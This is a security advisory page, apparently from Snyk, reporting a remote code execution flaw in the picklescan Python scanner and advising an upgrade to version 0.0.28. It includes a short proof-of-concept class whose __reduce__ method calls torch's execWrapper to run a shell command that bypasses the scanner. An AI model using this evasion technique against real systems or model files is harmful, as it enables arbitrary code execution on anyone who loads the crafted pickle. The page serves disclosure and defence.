Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade picklescan to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient detection in the reduce method involving the torch.jit.unsupported_tensor_ops.execWrapper function. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses security checks and is subsequently loaded.
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops
class EvilTorchJitUnsupportedTensorOpsExecWrapper:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        glob = {}
        loc = {}
        return unsupported_tensor_ops.execWrapper, (code, glob, loc)